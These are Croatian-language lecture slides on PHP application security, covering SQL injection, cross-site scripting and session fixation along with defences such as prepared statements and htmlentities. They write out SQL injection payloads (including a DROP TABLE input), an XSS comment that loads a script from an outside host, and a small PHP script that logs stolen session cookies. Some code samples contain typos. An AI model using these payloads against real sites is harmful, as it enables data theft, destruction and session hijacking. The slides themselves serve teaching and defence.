SIGURNOST APLIKACIJA I STRANICA

IZRAĐENIH U PHP-U

Propusti, zloupotrebe

- Najveći problem web aplikacija je njihova dostupnost, a time i dostupnost tajnih i povjereljivih podataka koje obrađuju(korisničkih imena, lozinki, brojeva kreditnih kartica...)
- Briga o sigurnosti treba biti stalna i ugrađivana u sam temelj aplikacije
- Jedna od najvećih briga su korisničke lozinke
- Osnovni princip PHP sigurnosti: uvijek provjeravati unos korisnika prije procesuiranja
- Važno je razmotriti i kako sigurnost utječe na upotrebljivost

Sigurnosne prijetnje

- Izloženost povjerljivih podataka (web server nije dobro mjesto za spremanje)
- Gubitak ili oštećenje podataka (koristiti backup)
- Pristup i izmjena osjetljivih podataka (podatkovnih ili izvršnih datoteka)
- Denial of Service (poteškoća ili nemogućnost korištenja)
- Cross Site Scripting (XSS)
- Pogreške u softveru (slabe specifikacije, pretpostavke ili testiranje)
- Nepriznavanje (repudiation, stranka u transakciji poriče svoje sudjelovanje)
- Kompromitirani server (pristup sustavu sa super user ovlastima)

SQL Injection

- Postupak ubacivanja SQL upita (od strane treće osobe) koji se izvršava bez znanja programera.
- Često, napadači koriste forme preko kojih korisnici unose podatke (npr. forme za logiranje) – zbog loše oblikovanog SQL upita u skripti se može dogoditi da se putem pisanja jednostavnih SQL naredbi u tekstualna polja na formi promijeni izgled SQL upita koji je programer osmislio i tako dovede do drugačijeg ponašanja aplikacije koji može rezultirati otkrivanjem povjerljivih podataka.
- Ovi napadi za cilj imaju prikupljanje podataka ili rušenje stranice brisanjem cijele njezine baze podataka.

Obrazac napada - 1

- Jednostavan, sastoji se od velikog broja pokušaja i pogrešaka te učenja na tim pogreškama, česta meta napadača je npr:
- Ako u web aplikaciji na nekoj stranici postoji jednostavna login forma preko koje korisnici pristupaju aplikaciji, obično se ostavi i dio za zaboravljenu lozinku koju sustav šalje e-mailom. Napadač tu istražuje ranjivost i pokušava doći do podataka.
- Napadač počinje od pretpostavke da SQL upit izgleda: SELECT polja FROM tablica WHERE polje='$email'; zatim pokušava preko forme unijeti SELECT polja FROM tablica WHERE polje='hacker@inter.net''; dodatni navodnik rezultirat će greškom koja govori napadaču kakvi se navodnici upotrebljavaju

Obrazac napada - 2

- Napadač bi zatim mogao napisati: ...WHERE polje='trash' OR 'a'='a', čime se dobije uvjet koji je uvijek istinit, te tako konstruiran upit dohvaća sve podatke
- Ovisno o tome kako je programer zamislio ostatak aplikacije, napadaču bi se mogla pojaviti poruka o uspješnom slanju lozinke na neku e-mail adresu, pa bi napadač tako mogao dobiti e-mail adresu nekog korisnika koja kod mnogih sustava ujedno predstavlja i korisničko ime
- Slijedeći napad može biti ...WHERE polje='x' AND email IS NULL; -- '; čime pokušava mapirati tablicu podataka tako što ispituje postoji li polje email. S dvije crtice na kraju ostatak SQL naredbe postaje komentar i uopće se ne izvršava.
- Nakon nekoliko pokušaja sličnom metodom napadač bi mogao otkriti sva polja i naziv tablice te napadom: ... WHERE polje='x'; DROP TABLE users; --'; izbrisati cijelu tablicu iz baze

OBRAZAC NAPADA - 3

- Unos korisnika prije predaje MySQL-u potrebno je provjeravati
- $user=$_POST[‘user’];
- $pass=$_POST[‘pass’];
- $query=‘SELECT * FROM users WHERE user=‘$user’ AND pass=‘$PASS’’”;
- Ako se za user unese admin’ # upit postaje
- SELECT * FROM users WHERE user=‘admin’ #’AND pass=‘’
- U SQL-u # predstavlja početak komentara, pa se korisnik u stvari logira kao admin

OBRAZAC NAPADA - 4

- U situaciji kad kod aplikacije miče korisnika iz baze:
- $user=$_POST[‘user’];
- $pass=$_POST[‘pass’];
- $query=‘DELETE FROM users WHERE user=‘$user’ AND pass=‘$PASS’’”;
- Ako netko unese za $user: anything’ OR 1=1 #
- Upit postaje:
- DELETE FROM users WHERE user=‘anything’ OR 1=1 #’ AND pass=‘’
- Dakle, uvijek je istinit

ZAŠTITA

- Provjera podataka poslanih preko korisničkih formi
- Prvo se radi izdvajanje podataka – podaci se izdvajaju iz varijable $_POST i pohranjuju u nove varijable te se zatim pročišćavaju i provjeravaju različitim funkcijama, npr. $email = $_POST[„email”]; $query=„SELECT polja FROM tablica WHERE polje=‘$email’”;
- Zatim treba provjeriti je li varijabla dobra i može li se ugraditi u SQL upit za što se mogu koristiti funkcije koje provjeravaju tip podataka, npr. ako se dopušta unos samo alfanumeričkih znakova, to se radi pomoću funkcije ctype_alnum($email) (ili ctype_alpha ili ctype_digit). Rezultat izvršavanja ove funkcije je istina ako se predani parametar sastoji samo od slova i brojeva.
- Pomoću funkcije strlen($email) može se provjeriti zadovoljava li varijabla očekivanu dužinu s obzirom na broj znakova i samo u tom slučaju ugraditi ju u SQL upit, a inače upit odbaciti kao neprihvatljiv

ZAŠTITA I RJEŠENJE

- Funkcija $string=trim($email) može eliminirati neke znakove s početka i kraja niza znakova
- Funkcija strlen također može uklanjati i neke druge znakove koje navodimo kao drugi parametar, npr. jednostruke navodnike: $string=trim($email,"'");
- Najbolje rješenje za ovaj problem su pripremljeni upiti MySQLi klase koja u sebi ima ugrađene interne mehanizme protiv takvih napada.
- Kod MySQLi klase potrebno je točno specificirati kojeg je tipa podataka svaka varijabla koja se unosi u SQL upit, pa ako ne zadovoljava uvjet, MySQLi klasa će ju pokušati konvertirati ili potpuno izbaciti iz SQL upita.

USING PLACEHOLDERS

- Pripremljene naredbe sa rezerviranim mjestima omogućuju da se bazi podataka šalju samo podaci, bez mogućnosti prijenosa podataka koje bi se moglo tumačiti kao MySQL naredbe
- Funkcionira tako da se prvo pripreme naredbe koje se žele izvesti u MySQL, ali se svi dijelovi naredbe koji se odnose na podatke ostavljaju u obliku ?
- Objekt koji vraća metoda prepare koristi se za slanje podataka serveru na mjestima upitnika, tako da se prvo povezuju PHP varijable sa upitnicima sa bind_param
- Na kraju se poziva metoda execute() i objekti zatvaraju sa close()
- Upotrebom ovako pripremljenih naredbi zatvaraju se potencijalne sigurnosne rupe

NAČIN PRIMJENE

```
<?php
require_once 'login.php';
$conn=new mysqli($hn, $un, $pw, $db);
if($conn->connect_error) die ($conn->connect_error);
$stmt=$conn->prepare('INSERT INTO classics VALUES(?,?,?,?,?)');
$stmt->bind_param('sssss', $autor, $naslov, $kategorija, $godina, $isbn);
$autor='Umberto Eco';
$naslov='Ime ruze';
$kategorija='roman';
$godina='1970';
$isbn='36527394027';
$stmt->execute();
printf(„%d Ubaceno redaka.\n“,$stmt->affected_rows();
$stmt->close();
$conn->close();
?>
```

CROSS-SITE SCRIPTING (XSS NAPAD) I NAPAD FIKSIRANJEM SESIJE

- Malicious Code Injection
- Vrlo učinkovito i sve češće zbog brojnih stranica na kojima posjetitelji mogu ostavljati svoje komentare ili poruke
- Temeljeno na client-side skriptama (programskom kodu koji se izvršava unutar preglednika na korisničkom računalu). Jezik pogodan za to je JavaScript
- Obično se ne pojavljuje vidljiv ili trenutan gubitak podataka, nego se izvršava neka vrsta koda, što uzrokuje različite stupnjeve gubitka informacija ili redirekciju korisnika zajedno sa svim cookie informacijama vezanim uz originalni site

SPRIJEČAVANJE HTML INJECTION

- Važno zbog privatnosti i zaštite korisnika
- Javlja se zbog dozvole da korisnik unosi HTML ili češće JavaScript kod kojeg onda web site ispisuje.
- Najčešće se događa da zlonamjerni korisnik pokušava pisati kod koji krade cookie posjetitelja sitea te tako otkriva parove username+password ili druge informacije, ili pokrene napad kojim preuzima Trojanca na računalo korisnika
- Preveniranje pozivom htmlentities funkcije koja izvlači HTML kodne oznake i mijenja ih oblikom koji ispisuje znakove te ne dozvoljava pregledniku da djeluje na njima

OBRAZAC NAPADA

- Pretpostavka je da pomoću PHP-a pohranjujemo u bazu komentare. Napadač svoj kod pokušava postaviti unutar svog komentara, npr.: Odličan proizvod. Preporučam!! <script src=„htttp://www.stranica.com/cookieget.php”></script>
- Ako sustav ne radi provjeru, ovaj tekst se pohranjuje u bazu podataka. Kad neki novi posjetitelj otvori stranicu s komentarom, prikazuje mu se samo prva linija, a ostatak preglednik prepoznaje kao JavaScript i pokušava ga izvršiti tako da uključuje stranicu s poveznicom.
- Skripta cookieget može sadržavati: <?php $fp=fopen(„cookie.txt”, „a”);fwrite($fp, $_COOKIE[„PHPSESSID”].”\n”);fclose($fp);?>
- Kad je preglednik pokušao uključiti poveznicu izvršila se napadačeva skripta na napadačevom poslužitelju i stvorila novu tekstualnu datoteku i u nju zapisala identifikator sesije koji napadač može dodijeliti svom računalu te si tako fiksirati sesiju. Zatim može pristupiti zaštićenom sadržaju stanice ako je korisnik bio prijavljen i otrkiti njegove korisničke podatke (npr. o kreditnoj kartici...)

PRIMJER

- <script src='http://x.com/hack.js'></script><script>hack();</script>
- Ako se ovakva skripta učita ona izvodi zlonamjernu funkciju, no ako je prošla kroz htmlentites, mijenja se u potpuno bezopasan string
- <script src='http://x.com/hack.js'> </script><script>hack();</script>
- Ukoliko se ispisuje bilo što što korisnik unosi, bez obzira da li je neposredno ili nakon unosa u bazu podataka, prvo je potrebno pročistiti upotrebom funkcije htmlentities
- htmlentites(mysql_fix_string($conn, $string));

NAČIN PRIMJENE

```
<?php
require_once 'login.php';
$conn=new mysqli($hn, $un, $pw, $db);
if($conn->connect_error) die ($conn->connect_error);
$user=htmlentities(mysql_fix_string($conn, $_POST[‘user’]));
$pass=htmlentities(mysql_fix_string($conn, $_POST[‘passr’]));

$query=„SELECT * FROM users WHERE user=‘$user’ AND pass=‘$pass’;
 ...
?>
```

ZAŠTITA

- Kao kod SQL injection uz funkcije htmlspecialchars i htmlentities
- $string= '<script src=„http://index.php"></script>'
- $string=htmlspecialchars($string); // pretvara sve posebne znakove u HTML kodove te se vrijednost varijable $string mijenja u:
- <script src="http://index.php"></script>
- Zbog toga preglednik ovaj sadržaj neće prepoznati kao JavaScript i neće ga izvršiti već će ga prikazati na ekranu.
- htmlentities radi identičnu stvar, ali je novija i saržava veću bazu oznaka i kodova koje prepoznaje i mijenja.

SUPERGLOBALNE VARIJABLE I SIGURNOST

- Često se koriste za pokušaj upada tako da se $_POST, $_GET ili neka druga pune sa zlonamjernim kodom (UNIX ili MySQL naredbama) koji može oštetiti ili ispisati osjetljive podatke.
- Zbog toga je takve varijable potrebno prije upotrebe pažljivo provjeravati, npr. putem PHP funkcije htmlentities koja konvertira sve potencijalno opasne znakove u oblik koji nije štetan.